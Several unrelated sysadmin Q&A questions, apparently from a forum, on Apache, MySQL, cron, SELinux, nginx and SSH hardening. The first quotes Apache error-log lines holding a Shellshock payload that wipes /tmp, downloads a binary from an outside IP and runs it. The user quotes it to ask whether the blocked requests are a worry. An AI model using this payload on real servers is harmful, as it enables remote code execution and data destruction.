I have a server with debian 7. I was checking the apache error log file and saw a few lines like this  [Fri Mar 20 04:56:48 2015] [error] [client 222.66.95.253] client denied by server configuration: /home/username/www/, referer: () { :; }; /bin/bash -c "rm -rf /tmp/*;echo wget http://61.160.212.172:911/java -O /tmp/China.Z-bbce &gt;&gt; /tmp/Run.sh;echo echo By China.Z &gt;&gt; /tmp/Run.sh;echo chmod 777 /tmp/China.Z-bbce &gt;&gt; /tmp/Run.sh;echo /tmp/China.Z-bbce &gt;&gt; /tmp/Run.sh;echo rm -rf /tmp/Run.sh &gt;&gt; /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh"  [Mon Mar 16 16:58:15 2015] [error] [client 210.35.74.116] client denied by server configuration: /home/username/www/, referer: () { :; }; /bin/bash -c "rm -rf /tmp/*;echo wget http://61.180.31.43:9574/xudpASD -O /tmp/China.Z-wwyy\xb0 &gt;&gt; /tmp/Run.sh;echo echo By China.Z &gt;&gt; /tmp/Run.sh;echo chmod 777 /tmp/China.Z-wwyy\xb0 &gt;&gt; /tmp/Run.sh;echo /tmp/China.Z-wwyy\xb0 &gt;&gt; /tmp/Run.sh;echo rm -rf /tmp/Run.sh &gt;&gt; /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh"   I might be mistaken, but because of this part () { :; }; I think someone was trying to use the  bug.   But independent from whether this is shellshock or not, the question is - if I have lines in logs with message   client denied by server configuration   is this smth that I should worry about, or because the request was declined I can ignore it - being sure that no malicious scripts were downloaded/executed ?
122405
How can I ensure my Bash installation is not vulnerable to the  bug anymore after the updates?
15912
Im trying to install mysql and I get the error: mysql_upgrade: Got error: 1045: Access denied for user 'debian-sys-maint'@'localhost' (using password: YES) while connecting to the MySQL server  After some searching, I find this is perhaps giving access to debian-sys-maint, so I did this: sudo cat /etc/mysql/debian.cnf  Then set the debian password in mysql: mysql -u root -p &lt;password&gt; GRANT ALL PRIVILEGES ON *.* TO 'debian-sys-maint'@'localhost' IDENTIFIED BY 'password-here';  Then I restart: sudo /etc/init.d/mysql restart  And try and configure again: sudo dpkg --configure -a  I get the same error.
96459
I'm trying to set up a cron job to run a PHP script daily as part of a web-based booking system. It's been running perfectly for several years on a different Apache server using this in the crontab:  0 3 * * * wget -q -O /dev/null http://www.my_other_domain.org.uk/scheduled/my_script.php   I've just installed the script on another Apache server, and it runs correctly when called through the browser.  However when I try to use cron, the cron daemon gives the message:  -: warning: setlocale: LC_ALL: cannot change locale (en_GB.utf-8) -: wget: command not found   When I tried  0 3 * * * /usr/bin/env wget -q -O /dev/null http://www.mydomain.org.uk/scheduled/my_script.php   I got the message:  -: warning: setlocale: LC_ALL: cannot change locale (en_GB.utf-8) -: /usr/bin/env: No such file or directory   Firstly, am I right in assuming that the setlocale warning is not relevant to the problem?  I've also tried   0 3 * * * /usr/bin/php /var/www/vhosts/mydomain/httpdocs/scheduled/my_script.php   which gives    -: /usr/bin/php: No such file or directory   I also tried putting a shebang as the first line of my script, and getting cron to call it using the full path.  The cron daemon reported that there was no such file or directory as /[full_path]/my_script.php .  Trying to use curl was no better.  I haven't got shell access to the server and I've been setting up the cron job through the Plesk control panel.  The cron job seems to be running as scheduled.  The system administrator did the following for me:  #which php /usr/bin/php  #which wget /usr/bin/wget  #which curl /usr/bin/curl   That seems to confirm that the commands are in the right location.  The above is an abbreviated history - I've lost count of the permutations and combinations I've tried, mostly as a result of reading advice in this and other forums.  Can anyone tell me why the cron job is unable to find the commands and suggest a solution?
16795
I'm having problems with apache server (CentOS VPS at Amazon). When apache starts, it starts to receive hundreds of requests, this is an example of the log:  173.208.216.165 - - [25/Jan/2015:18:23:11 +0000] "GET http://go.padstm.com/resources/img/iebt.png HTTP/1.0" 200 36023 "http://go.padstm.com/?id=173374&amp;t=iframe&amp;var=33110" "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)"   The path /resources/img/iebt.png is in my server, but not go.padstm.com. The strangest thing is that apache is accepting all the requests.  Other example: in this case, the entire resource is NOT in my server, but apache returns 200:  198.204.239.250 - - [25/Jan/2015:19:04:39 +0000] "GET http://fstads.com/show.php?z=26&amp;pl=494&amp;j=1&amp;code=1422237874120 HTTP/1.0" 200 10819 "http://financezhen.com/?p=186#respond" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre"   I don't know why these requests goes to my server, or why it returns 200...  Also, when apache starts and module prefork is enabled, it launches multiple httpd processes. If worker module is enabled, it launches multiple threads. Ok, but in both cases apache ends up consuming all the CPU and memory of the server, and there is not traffic directed to my server.  More info: ProxyRequests is Off. Also: I'm using ip-based vhosts:  NameVirtualHost xxx.xxx.xxx.xxx:80  &lt;VirtualHost xxx.xxx.xxx.xxx:80&gt;     ServerName mydomain.com     ServerAlias www.mydomain.com     DocumentRoot /var/www/html/w3prod     ServerAdmin admin@localhost     UseCanonicalName Off     CustomLog /var/log/httpd/w3prod.mydomain.com combined     ErrorLog /var/log/httpd/w3prod_error.mydomain.com &lt;/VirtualHost&gt; &lt;VirtualHost xxx.xxx.xxx.xxx:80&gt;     ServerName picfarm.mydomain.com     ServerAlias www.picfarm.mydomain.com     DocumentRoot /var/www/html/picfarm     ServerAdmin admin@localhost     UseCanonicalName Off     CustomLog /var/log/httpd/picfarm.mydomain.com combined     ErrorLog /var/log/httpd/picfarm_error.mydomain.com &lt;/VirtualHost&gt; &lt;VirtualHost xxx.xxx.xxx.xxx:80&gt;     ServerName test.mydomain.com     ServerAlias www.test.mydomain.com     DocumentRoot /var/www/html/engine-test     ServerAdmin admin@localhost     UseCanonicalName Off     CustomLog /var/log/httpd/test.mydomain.com combined     ErrorLog  /var/log/httpd/test_error.mydomain.com     ProxyRequests Off     ProxyPreserveHost On     &lt;Proxy *&gt;             Order deny,allow             Allow from all     &lt;/Proxy&gt;     ProxyPass /bosh http://xxx.xxx.xxx.xxx:7070/http-bind/     ProxyPassReverse /bosh http://xxx.xxx.xxx.xxx:7070/http-bind/     ProxyPass / http://xxx.xxx.xxx.xxx:8080/     ProxyPassReverse / http://xxx.xxx.xxx.xxx:8080/ &lt;/VirtualHost&gt;   Any help would be appreciated. Thanks!
32262
When I connect to my server (ubuntu server 10.10), I get this:  name@server-name.belkin ~&gt;   How can I remove ".belkin"?
15779
I have currently a strange problem on debian (wheezy/amd64).  I have created a chroot to install a server (i can't give any more detail about it, sorry). Let's call its path /chr_path/. To make things easy, I have initialized this chroot with a debootstrap (also wheezy/amd64).  All seemed to work well inside the chroot but when I started the installer script of my server I got : zsh: Not found /some_path/perl (the installer includes a perl binary for some reasons)  Naturally, I checked the /some_path/ location and I found the "perl" binary. file in chroot environment returns :  /some_path/perl ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.2.5, not stripped   The file exists, seems ok, has correct rights. I can use file, ls, vim on it but as soon as I try to execute it - ./perl for example - I get : zsh: Not found ./perl.  This situation is quite understandable for me. Moreover :   I can execute other basic binaries (/bin/ls,...) in the chroot without getting errors I have the same problems for other binaries that came with the project When I try to execute the binary from the main root (/chr_path/some_path/perl), it works. I have tried to put one of the binaries with a copy of my ls. I checked that the access rights were the same but this didn't change anything (one was working, and the other wasn't)
20660
I have a server that acts as a front-end for a cPanel mailserver in a network. The apache proxy on the front-end server ran for 152 days without fault then suddenly I now get 500/502 errors when using it to access the webmail clients of the mailserver.  The front-end server uses a signed SSL cert, the cPanel sever is using a self signed cert. Here is the error log output from the front-end server when it first started happening:   [Tue Sep 10 18:22:52.959291 2013] [proxy:error] [pid 19531] (502)Unknown error 502: [client 173.xx.xx.xx:9558] AH01084: pass request body failed to 184.xx.xx.xx:2096 (184.xx.xx.xx), referer:   [Tue Sep 10 18:22:52.959469 2013] [proxy:error] [pid 19531] [client 173.xx.xx.xx:9558] AH00898: Error during SSL Handshake with remote server returned by /cpsess12385596/3rdparty/roundcube/, referer:    The front-end server is an EC2 instance running Apache/2.4.6 (Amazon) My VirtualHost setup for the proxy on this server is as follows:   &lt; VirtualHost *:2096>     ServerName domain.com  SSLEngine on SSLProxyEngine on SSLProxyVerify none SSLProxyCheckPeerCN off  SSLCertificateFile /x/x/x/domain.com.crt SSLCertificateKeyFile /x/x/x/domain.com.key SSLCACertificateFile /x/x/x/domain.com.cabundle  ProxyPass / https://184.xx.xx.xx:2096/ ProxyPassReverse / https://184.xx.xx.xx:2096/ ProxyPassReverseCookieDomain 184.xx.xx.xx:2096 domain.com ProxyPassReverseCookiePath / /  SetOutputFilter INFLATE;proxy-html;DEFLATE ProxyHTMLURLMap https://184.xx.xx.xx:2096 /   &lt; /VirtualHost>   As far as I can think nothing has changed on the front-end server, I didn't do an update or anything, once noticing this problem and fiddling with no success I tried a restart on both servers but it did nothing to fix this.  Any suggestions?
98077
$ sudo -iu abc ls -ltr /sites/servers/server_instance/logs/access* ls: cannot access /sites/servers/server_instance/logs/access*: No such file or directory  $ sudo -iu abc ls -ltr /sites/servers/server_instance/logs/ total 594812 -rwxrwxrwx 1 abc abc      45 Mar 21 12:42 old.log -rwxrwxrwx 1 abc abc      304537970 Mar 24 12:45 console.log -rwxrwxrwx 1 abc abc      304537970 Mar 24 13:20 access_nginx.log   Can anyone explain why this happens? I am stuck on a script due to this.
117505
So I tried to start my apache2 server with the following command...  sudo service apache2 start   But then I get this error message...  Job for apache2.service failed. See "systemctl status apache2.service" and "journalctl -xe" for details.   So when I try and see the systemctl, I get this...  ● apache2.service - LSB: Apache2 web server    Loaded: loaded (/etc/init.d/apache2)    Active: failed (Result: exit-code) since Mon 2015-07-06 10:34:49 IST; 4min 23s ago      Docs: man:systemd-sysv-generator(8)   Process: 8899 ExecStart=/etc/init.d/apache2 start (code=exited, status=2)  Jul 06 10:34:49 archisman-HP-ProBook-440-G2 systemd[1]: Starting LSB: Apache2 web server... Jul 06 10:34:49 archisman-HP-ProBook-440-G2 apache2[8899]: /etc/init.d/apache2: 64: .: Can't open /etc/apache2/envvars Jul 06 10:34:49 archisman-HP-ProBook-440-G2 apache2[8899]: /etc/init.d/apache2: 76: .: Can't open /etc/apache2/envvars Jul 06 10:34:49 archisman-HP-ProBook-440-G2 apache2[8899]: ERROR: APACHE_PID_FILE needs to be defined in /etc/apache2/envvars Jul 06 10:34:49 archisman-HP-ProBook-440-G2 systemd[1]: apache2.service: control process exited, code=exited status=2 Jul 06 10:34:49 archisman-HP-ProBook-440-G2 systemd[1]: Failed to start LSB: Apache2 web server. Jul 06 10:34:49 archisman-HP-ProBook-440-G2 systemd[1]: Unit apache2.service entered failed state. Jul 06 10:34:49 archisman-HP-ProBook-440-G2 systemd[1]: apache2.service failed.    on my browser also gives me an error which means apache is not running.  When I do this...  sudo restart apache2   I get this error...  restart: Unable to connect to Upstart: Failed to connect to socket /com/ubuntu/upstart: Connection refused   Somebody please help.
29469
When I restart my Apache server using the command  sudo /etc/init.d/apache2 restart   I get the following error:  Restarting web server apache2 apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1 for ServerName   Is the server using 127.0.1.1 instead of 127.0.0.1? What causes this error?
31767
Obviously my Apache httpd instance is doing reverse DNS (RDNS, give me the hostname for this IP address) lookups for each incoming client connection's IP address. This is bad. Especially since sometimes resolution fails with a missing PTR record - after 28secs.  Diagnostics: I added %D to my "combined" log style and looked at the response times this way: Clearly &lt;1s for all those that are logged with their hostname and 20+s for those that get their IP logged.  This is what I tried:   Turn off the server-status extension. Check that HostnameLookups Off is in the config. Check that mod_access is not given any hostname in an Allow/Deny rule. Check that reverse proxied servers follow the same rules.   What have I missed?
62811
I have a little SVN server, old dell optiplex running debian. I don't have that high demands on my server, because its just a little SVN server... but do want it to be secure.  I just renewed my server to a newer and better optiplex, and started looking a bit into the old server. I took it down after experiencing problems. When I check the logs, its full of brute-force attempts and somehow someone has succeeded to enter my machine. This person created some extra volume called "knarkgosse" with two dirs "root" and "swap1" or something.  Don't really know why and what they do, but sure do want to prevent this from happening again. I find this a bit strange though because I change my password ever few months or so, and the passwords are always random letters and numbers put together... not easy to brute-force.  I know I can prevent root from logging in, and use sudoers... and change the SSH port, but what more can I do?  So I have a few questions:   How can I prevent logging in for 5 minutes after X amount of incorrect tries. Or slow tries down after each incorrect try? Is there some kind of central blacklist which a server can connect to? A blacklist that keeps track of IP addresses that are "unsafe" and should never be granted access? What more can I do to apply safety to my server?   Like I said earlier, I am running Debian 5 with Apache (www-data user problem?), svn, mysql, php, phpmyadmin, hudson. It is on a home network with port forwarding on 80, 443, 8080, 8180, 23 and 22.
36659
I'm trying to install apache2 server, but it gives following error message:  It looks like you've deleted /etc/apache2/mods-available/cgid.load, so mod_cgid cannot be enabled. To fix this, please purge and reinstall apache2.2-common. Setting up apache2 (2.2.17-1ubuntu1.5) ...  I've done the same using ubuntu software center, but getting the same error again.
119720
I used the following command to check python versions as given by . It does work except for one error, shown below. Can any one explain why?  $ sudo find / -type f -executable -iname 'python*' -exec file -i '{}' \; \     | awk -F: '/x-executable; charset=binary/ {print $1}' \     | xargs readlink -f | sort -u | xargs -I % sh -c 'echo -n "%: "; % -V'   Error:  find: ‘/run/user/1000/gvfs’: Permission denied
52009
My system is running CentOS 6.4 with apache2.2.15. SElinux is enforcing and I'm trying to connect to a local instance of redis through my python/wsgi app. I get Error 13, Permission denied. I could fix this via the command:  setsebool -P httpd_can_network_connect  However, I don't exactly want httpd to be able to connect to all tcp ports. How can I specify which ports/networks httpd is allowed to connect to? If I could make a module to allow httpd to connect to port 6379 ( redis ) or any tcp on 127.0.0.1, that would be preferable. Not sure why my paranoia is so strong on this, but hey...  Anyone know?
73904
When is it a good idea to use ?  I sometimes see this in code samples of PHP. Does this handle DOS/Mac/Unix endline issues?
69178
I get the following error in my log files every time I try to upload a large file.  a client request body is buffered to a temporary file /var/lib/nginx/body/0000000001   Although the file uploads successfully, I always get the above error.  I increased the client_body_buffer_size to 1000m which is what I expect the largest file uploaded to be. However, this is was just a guess and although I don't get that error anymore I am wondering if this is an appropriate value to set for the client_body_buffer_size?  I would appreciate it if anyone can shed some light on this directive and how it should be used.